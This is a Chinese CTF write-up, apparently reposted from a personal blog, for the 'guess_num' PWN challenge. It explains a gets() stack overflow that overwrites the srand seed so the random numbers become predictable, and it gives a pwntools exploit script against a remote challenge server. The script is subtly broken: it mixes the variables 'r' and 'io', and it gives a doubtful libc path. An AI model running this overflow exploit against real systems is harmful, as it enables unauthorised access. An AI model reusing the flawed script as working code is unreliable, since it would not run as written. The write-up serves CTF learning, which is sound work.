(wp)攻防世界PWN——guess_num

转载自个人博客0pt1mus

好久没有做PWN题了,今天开始做一下,把之前的东西捡起来,同时对之前有些知识点也有了新的认识,新的理解。

分析

首先将附件下载下来,同时通过nc连接一下,了解一下大致的流程。

(wp)攻防世界PWN——guess_num_第1张图片

可以看到,先让我们输入用户名,然后输入猜的的数字。

然后常规操作,通过filechecksec工具判断文件类型和开启了那些防护措施。

(wp)攻防世界PWN——guess_num_第2张图片

可以知道这是一个64位的linux程序,并且开启了部分只读,栈溢出保护,不可执行和地址随机化。

接着我们通过IDA加载,反汇编一下。

IDA加载程序后,ctrl+F5查看一下伪代码。

(wp)攻防世界PWN——guess_num_第3张图片

我们点击进入sub_C3E(),发现它会调用系统函数,打印flag,因此我们要保证程序能执行到这一步。

因此,在v4v6比较时我们要保证这两个值相同,其中v4是我们的输入值,v6是随机数。我们知道这里的随机数是通过种子seed来形成的,如果seed一定,那么生成的随机数也是一定的。

双击seed[0],可以发现seed是在栈帧中的,上面还有var_30

查看汇编代码。

(wp)攻防世界PWN——guess_num_第4张图片

在代码中可以找到如下信息:

var_30 = byte ptr -30h
seed   = dword ptr -10h

lea     rax, [rbp+var_30]
mov     rdi, rax
mov     eax, 0
call    _gets
mov     rax, qword ptr [rbp+seed]
mov     edi, eax        ; seed
call    _srand

我们输入的name,存在栈帧中,占20h,下面高地址位紧跟着seed的值。因此我们可以溢出覆盖掉seed,将种子设置为已知值,从而控制生成的随机数。

写出exp:

from pwn import *
from ctypes import *

libc = cdll.LoadLibrary('/bin/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
payload = 'A' * 0x20 + p64(1).decode()
r = remote('111.198.29.45', 57255)
r.recvuntil('name:')
r.sendline(payload)
for i in range(10):
    num = str(libc.rand() % 6 + 1)
    io.recvuntil('number:')
    io.sendline(num)

io.interactive()

其中so文件的路径是通过ldd工具找到的。

你可能感兴趣的:(CTF)